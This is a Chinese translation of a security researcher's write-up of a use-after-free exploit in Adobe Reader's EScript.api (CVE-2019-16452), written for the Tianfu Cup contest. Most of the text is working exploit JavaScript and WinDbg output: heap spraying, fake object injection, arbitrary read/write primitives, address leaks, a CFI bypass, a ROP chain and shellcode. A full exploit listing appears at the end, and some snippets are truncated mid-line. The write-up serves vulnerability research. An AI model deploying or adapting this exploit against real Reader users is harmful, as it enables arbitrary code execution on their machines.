导语:去年,Phan Thanh Duy在中国成都举行的[天府杯](http://www.tianfucup.com/)比赛,选择的目标是Adobe Reader。
去年,Phan Thanh Duy在中国成都举行的天府杯比赛,选择的目标是Adobe Reader。这篇文章将详细介绍JSObject的UAF漏洞。Phan Thanh Duy已经通过大量的尝试和错误完成了此漏洞利用,涉及很多代码,我建议你阅读完整的利用代码,并在必要时自行进行调试。
这篇文章是基于Windows 10主机和Adobe Reader编写的。
http://www.tianfucup.com/
0x01 漏洞点分析
该漏洞位于EScript.api组件中,该组件是各种JS API调用的绑定层。
首先,我创建一个Sound对象数组。
SOUND_SZ = 512 SOUNDS = Array(SOUND_SZ) for(var i=0; i<512; i++) { SOUNDS[i] = this.getSound(i) SOUNDS[i].toString() }
这就是Sound对象在内存中的样子。第二个DWORD是一个指向JSObject它有elements,slots,shape,fields等4个DWORD值的字符串表示对象类型。我不确定Adobe Reader使用的是哪个版本的Spidermonkey。起初我以为这是NativeObject,但是它似乎与Spidermonkey的源代码不匹配。
0:000> dd @eax 088445d8 08479bb0 0c8299e8 00000000 085d41f0 088445e8 0e262b80 0e262f38 00000000 00000000 088445f8 0e2630d0 00000000 00000000 00000000 08844608 00000000 5b8c4400 6d6f4400 00000000 08844618 00000000 00000000 0:000> !heap -p -a @eax address 088445d8 found in _HEAP @ 4f60000 HEAP_ENTRY Size Prev Flags UserPtr UserSize - state 088445d0 000a 0000 [00] 088445d8 00048 - (busy) 0:000> da 085d41f0 085d41f0 "Sound"
该0x48内存区域及其字段将被释放和重用。由于AdobeReader.exe是32位二进制文件,因此我可以堆喷并确切知道受控制的数据在内存中的位置,然后可以用受控制的数据覆盖整个内存区域,并尝试找到一种控制PC的方法。
但是,我失败了,因为:
1. 我不知道所有内存区域都是什么;
2. 我没有泄漏内存;
3. Adobe有CFI缓解机制。
因此,我将注意力转向了JSObject(第二个DWORD),也能够伪造a 。JSObject是一个非常强大的原语,不幸的是第二个DWORD不在堆中,它位于VirtualAllocAdobe Reader启动时编辑的内存区域中。
需要注意的一点是,内存内容在释放后不会清除。
0:000> !address 0c8299e8 Mapping file section regions... Mapping module regions... Mapping PEB regions... Mapping TEB and stack regions... Mapping heap regions... Mapping page heap regions... Mapping other regions... Mapping stack trace database regions... Mapping activation context regions... Usage: Base Address: 0c800000 End Address: 0c900000 Region Size: 00100000 ( 1.000 MB) State: 00001000 MEM_COMMIT Protect: 00000004 PAGE_READWRITE Type: 00020000 MEM_PRIVATE Allocation Base: 0c800000 Allocation Protect: 00000004 PAGE_READWRITE Content source: 1 (target), length: d6618
我意识到了这一点,ESObjectCreateArrayFromESVals和ESObjectCreate也被分配到这个领域,我使用了currentValueIndices函数来调用ESObjectCreateArrayFromESVals:
/* prepare array elements buffer */ f = this.addField("f" , "listbox", 0, [0,0,0,0]); t = Array(32) for(var i=0; i<32; i++) t[i] = i f.multipleSelection = 1 f.setItems(t) f.currentValueIndices = t // every time currentValueIndices is accessed `ESObjectCreateArrayFromESVals` is called to create a new array. for(var j=0; j<THRESHOLD_SZ; j++) f.currentValueIndices
查看ESObjectCreateArrayFromESVals返回值,可以看到JSObject 0d2ad1f0不在堆上,而是elements在08c621e8are 上的缓冲区,ffffff81是标签号。
0:000> dd @eax 0da91b00 088dfd50 0d2ad1f0 00000001 00000000 0da91b10 00000000 00000000 00000000 00000000 0da91b20 00000000 00000000 00000000 00000000 0da91b30 00000000 00000000 00000000 00000000 0da91b40 00000000 00000000 5b9868c6 88018800 0da91b50 0dbd61d8 537d56f8 00000014 0dbeb41c 0da91b60 0dbd61d8 00000030 089dfbdc 00000001 0da91b70 00000000 00000003 00000000 00000003 0:000> !heap -p -a 0da91b00 address 0da91b00 found in _HEAP @ 5570000 HEAP_ENTRY Size Prev Flags UserPtr UserSize - state 0da91af8 000a 0000 [00] 0da91b00 00048 - (busy) 0:000> dd 0d2ad1f0 0d2ad1f0 0d2883e8 0d225ac0 00000000 08c621e8 0d2ad200 0da91b00 00000000 00000000 00000000 0d2ad210 00000000 00000020 0d227130 0d2250c0 0d2ad220 00000000 553124f8 0da8dfa0 00000000 0d2ad230 00c10003 0d27d180 0d237258 00000000 0d2ad240 0d227130 0d2250c0 00000000 553124f8 0d2ad250 0da8dcd0 00000000 00c10001 0d27d200 0d2ad260 0d237258 00000000 0d227130 0d2250c0 0:000> dd 08c621e8 08c621e8 00000000 ffffff81 00000001 ffffff81 08c621f8 00000002 ffffff81 00000003 ffffff81 08c62208 00000004 ffffff81 00000005 ffffff81 08c62218 00000006 ffffff81 00000007 ffffff81 08c62228 00000008 ffffff81 00000009 ffffff81 08c62238 0000000a ffffff81 0000000b ffffff81 08c62248 0000000c ffffff81 0000000d ffffff81 08c62258 0000000e ffffff81 0000000f ffffff81 0:000> dd 08c621e8 08c621e8 00000000 ffffff81 00000001 ffffff81 08c621f8 00000002 ffffff81 00000003 ffffff81 08c62208 00000004 ffffff81 00000005 ffffff81 08c62218 00000006 ffffff81 00000007 ffffff81 08c62228 00000008 ffffff81 00000009 ffffff81 08c62238 0000000a ffffff81 0000000b ffffff81 08c62248 0000000c ffffff81 0000000d ffffff81 08c62258 0000000e ffffff81 0000000f ffffff81 0:000> !heap -p -a 08c621e8 address 08c621e8 found in _HEAP @ 5570000 HEAP_ENTRY Size Prev Flags UserPtr UserSize - state 08c621d0 0023 0000 [00] 08c621d8 00110 - (busy)
因此,现在的目标是覆盖elements缓冲区以注入伪造的Javascript对象。
这是我目前的计划:
1. 释放Sound对象。
2. 尝试使用分配密集数组到Sound释放的currentValueIndices对象位置。
3. 释放密集数组。
4. 尝试分配到释放的elements缓冲区中
5. 注入伪造的Javascript对象
下面的代码遍历SOUNDS数组以释放currentValueIndices元素并用于回收它们:
/* free and reclaim sound object */ RECLAIM_SZ = 512 RECLAIMS = Array(RECLAIM_SZ) THRESHOLD_SZ = 1024*6 NTRY = 3 NOBJ = 8 //18 for(var i=0; i<NOBJ; i++) { SOUNDS[i] = null //free one sound object gc() for(var j=0; j<THRESHOLD_SZ; j++) f.currentValueIndices try { //if the reclaim succeed `this.getSound` return an array instead and its first element should be 0 if (this.getSound(i)[0] == 0) { RECLAIMS[i] = this.getSound(i) } else { console.println('RECLAIM SOUND OBJECT FAILED: '+i) throw '' } } catch (err) { console.println('RECLAIM SOUND OBJECT FAILED: '+i) throw '' } gc() } console.println('RECLAIM SOUND OBJECT SUCCEED')
接下来,我们将释放所有密集数组,并尝试使用elements将其分配回TypedArray其缓冲区。0x33441122在数组的开头放置了伪造的整数,以检查回收是否成功。elements将具有受控缓冲区的损坏数组放入变量T:
/* free all allocated array objects */ this.removeField("f") RECLAIMS = null f = null FENCES = null //free fence gc() for (var j=0; j<8; j++) SOUNDS[j] = this.getSound(j) /* reclaim freed element buffer */ for(var i=0; i<FREE_110_SZ; i++) { FREES_110[i] = new Uint32Array(64) FREES_110[i][0] = 0x33441122 FREES_110[i][1] = 0xffffff81 } T = null for(var j=0; j<8; j++) { try { // if the reclaim succeed the first element would be our injected number if (SOUNDS[j][0] == 0x33441122) { T = SOUNDS[j] break } } catch (err) {} } if (T==null) { console.println('RECLAIM element buffer FAILED') throw '' } else console.println('RECLAIM element buffer SUCCEED')
从这开始,我们可以将伪造的Javascript对象放入elements缓冲区并泄漏分配给它的对象的地址。以下代码用于找出哪个TypedArray是我们的伪elements缓冲区并泄漏其地址。
/* create and leak the address of an array buffer */ WRITE_ARRAY = new Uint32Array(8) T[0] = WRITE_ARRAY T[1] = 0x11556611 for(var i=0; i0) break } else { FREES_110[i] = null } }
0x02 任意读写
为了获得简洁的读取原语,我将一堆假字符串对象注入堆中,然后将其分配到elements缓冲区中。
GUESS = 0x20000058 //0x20d00058 /* spray fake strings */ for(var i=0x1100; i=0) DV = DataView(SPRAY[SPRAY_IDX]) function myread(addr) { //change fake string object's buffer to the address we want to read. DV.setUint32(4, addr, true) return s2h(T[2]) }
同样,为了实现任意写入,我创建了一个false的 TypedArray,复制WRITE_ARRAY内容并更改其SharedArrayRawBuffer指针。
/* create aaw primitive */ for(var i=0; i<32; i++) {DV.setUint32(i*4+16, myread(WRITE_ARRAY_ADDR+i*4), true)} //copy WRITE_ARRAY FAKE_ELES[6] = GUESS+0x10 FAKE_ELES[7] = 0xffffff87 function mywrite(addr, val) { DV.setUint32(96, addr, true) T[3][0] = val } //mywrite(0x200000C8, 0x1337)
0x03 获得代码执行
使用任意的读/写原语,我可以在EScript.API在TypedArray对象的标头中泄漏基址,EScript.API有一个非常方便的gadget可以调用VirtualAlloc。
//d8c5e69b5ff1cea53d5df4de62588065 - md5sun of EScript.API ESCRIPT_BASE = myread(WRITE_ARRAY_ADDR+12) - 0x02784D0 //data:002784D0 qword_2784D0 dq ? console.println('ESCRIPT_BASE: '+ ESCRIPT_BASE.toString(16)) assert(ESCRIPT_BASE>0)
接下来,我泄漏对象的地址基址AcroForm.API和CTextField(0x60大小)对象的地址。首先使用CTextField分配一堆对象,addField创建一个也具有size的字符串对象0x60,然后泄漏此字符串(MARK_ADDR)的地址。我们可以假设这些CTextField对象将位于我们的后面MARK_ADDR,最后在堆中寻找CTextField::vftable。
/* leak .rdata:007A55BC ; const CTextField::`vftable' */ //f9c59c6cf718d1458b4af7bbada75243 for(var i=0; i>>0)==0xc0000000)) break } console.println('MARK_ADDR: '+ MARK_ADDR.toString(16)) assert(MARK_ADDR>0) /* leak acroform, icucnv58 base address */ ACROFORM_BASE = vftable-0x07A55BC console.println('ACROFORM_BASE: ' + ACROFORM_BASE.toString(16)) assert(ACROFORM_BASE>0)
然后,我们可以覆盖CTextField对象vftable以控制PC。
0x04 绕过CFI
启用CFI后,我们将无法使用ROP。我编写了一个小脚本来查找未启用CFI并在我的漏洞利用程序运行时加载的模块。
我发现了icucnv58.dll。
import pefile import os for root, subdirs, files in os.walk(r'C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader'): for file in files: if file.endswith('.dll') or file.endswith('.exe') or file.endswith('.api'): fpath = os.path.join(root, file) try: pe = pefile.PE(fpath, fast_load=1) except Exception as e: print (e) print ('error', file) if (pe.OPTIONAL_HEADER.DllCharacteristics & 0x4000) == 0: print (file)
该icucnv58.dll基址可以通过Acroform.API被泄露。icucnv58.dll内部有足够的gadget来执行堆栈和ROP。
//a86f5089230164fb6359374e70fe1739 - md5sum of `icucnv58.dll` r = myread(ACROFORM_BASE+0xBF2E2C) ICU_BASE = myread(r+16) console.println('ICU_BASE: ' + ICU_BASE.toString(16)) assert(ICU_BASE>0) g1 = ICU_BASE + 0x919d4 + 0x1000//mov esp, ebx ; pop ebx ; ret g2 = ICU_BASE + 0x73e44 + 0x1000//in al, 0 ; add byte ptr [eax], al ; add esp, 0x10 ; ret g3 = ICU_BASE + 0x37e50 + 0x1000//pop esp;ret
0x05 最后一步
我们有了实现完整代码执行所需的一切。使用任意写入原语将shellcode写入内存,然后调用VirtualProtect以启用执行权限。我的UAF漏洞利用程序的可靠性可以达到约80%的成功率,如果需要重试多次,则利用可能需要更多时间。
总结一下利用步骤:
/* copy CTextField vftable */ for(var i=0; i<32; i++) mywrite(GUESS+64+i*4, myread(vftable+i*4)) mywrite(GUESS+64+5*4, g1) //edit one pointer in vftable // // /* 1st rop chain */ mywrite(MARK_ADDR+4, g3) mywrite(MARK_ADDR+8, GUESS+0xbc) // // /* 2nd rop chain */ rop = [ myread(ESCRIPT_BASE + 0x01B0058), //VirtualProtect GUESS+0x120, //return address GUESS+0x120, //buffer 0x1000, //sz 0x40, //new protect GUESS-0x20//old protect ] for(var i=0; i<rop.length;i++) mywrite(GUESS+0xbc+4*i, rop[i]) //shellcode shellcode = [835867240, 1667329123, 1415139921, 1686860336, 2339769483, 1980542347, 814448152, 2338274443, 1545566347, 1948196865, 4270543903, 605009708, 390218413, 2168194903, 1768834421, 4035671071, 469892611, 1018101719, 2425393296] for(var i=0; i<shellcode.length; i++) mywrite(GUESS+0x120+i*4, re(shellcode[i])) /* overwrite real vftable */ mywrite(MARK_ADDR, GUESS+64)
完整利用代码:
https://github.com/star-sg/CVE/tree/master/CVE-2019-16452 /* util functions */ console.show() function gc() {new ArrayBuffer(3*1024*1024*100)} function s2h(s) { var n1 = s.charCodeAt(0) var n2 = s.charCodeAt(1) return ((n2<>>0 } redv = new DataView(new ArrayBuffer(4)) function re(n) { redv.setUint32(0, n, false) return redv.getUint32(0, n, true) } function assert(condition) { if (condition==false) { console.println('assert') throw '' } } ////////////////////////////// STR_60 = "A".repeat(0x60/2-1) FREE_110_SZ = 1024*2 FREES_110 = Array(FREE_110_SZ) /* heap spray */ SPRAY_SIZE = 0x2000 SPRAY = Array(SPRAY_SIZE) GUESS = 0x20000058 //0x20d00058 for(var i=0; i<SPRAY_SIZE; i++) SPRAY[i] = new ArrayBuffer(0x10000-24) ////////////////////////////// /* prepare array elements buffer */ f = this.addField("f" , "listbox", 0, [0,0,0,0]); t = Array(32) for(var i=0; i0)==0xc0000000)) break } console.println('MARK_ADDR: '+ MARK_ADDR.toString(16)) assert(MARK_ADDR>0) ///////////////////////////////// /* leak acroform, icucnv58 base address */ ACROFORM_BASE = vftable-0x07A55BC console.println('ACROFORM_BASE: ' + ACROFORM_BASE.toString(16)) assert(ACROFORM_BASE>0) r = myread(ACROFORM_BASE+0xBF2E2C) //a86f5089230164fb6359374e70fe1739 ICU_BASE = myread(r+16) console.println('ICU_BASE: ' + ICU_BASE.toString(16)) assert(ICU_BASE>0) ///////////////////////////////// g1 = ICU_BASE + 0x919d4 + 0x1000//mov esp, ebx ; pop ebx ; ret g2 = ICU_BASE + 0x73e44 + 0x1000//in al, 0 ; add byte ptr [eax], al ; add esp, 0x10 ; ret g3 = ICU_BASE + 0x37e50 + 0x1000//pop esp;ret //app.response({cQuestion: "",cTitle: "",cDefault: g3.toString(16),cLabel: ""}); /* copy CTextField vftable */ for(var i=0; i<32; i++) mywrite(GUESS+64+i*4, myread(vftable+i*4)) mywrite(GUESS+64+5*4, g1) //edit one pointer in vftable ///////////////////////////////// // // /* 1st rop chain */ mywrite(MARK_ADDR+4, g3) mywrite(MARK_ADDR+8, GUESS+0xbc) // // /* 2nd rop chain */ rop = [ myread(ESCRIPT_BASE + 0x01B0058), //VirtualProtect GUESS+0x120, //return address GUESS+0x120, //buffer 0x1000, //sz 0x40, //new protect GUESS-0x20//old protect ] for(var i=0; i<rop.length;i++) mywrite(GUESS+0xbc+4*i, rop[i]) //shellcode shellcode = [835867240, 1667329123, 1415139921, 1686860336, 2339769483, 1980542347, 814448152, 2338274443, 1545566347, 1948196865, 4270543903, 605009708, 390218413, 2168194903, 1768834421, 4035671071, 469892611, 1018101719, 2425393296] for(var i=0; i<shellcode.length; i++) mywrite(GUESS+0x120+i*4, re(shellcode[i])) /* overwrite real vftable */ mywrite(MARK_ADDR, GUESS+64)
利用该漏洞,我们可以弹出Calc:
https://youtu.be/wZAPfW9Z0yA
本文翻译自:https://starlabs.sg/blog/2020/04/tianfu-cup-2019-adobe-reader-exploitation/如若转载,请注明原文地址: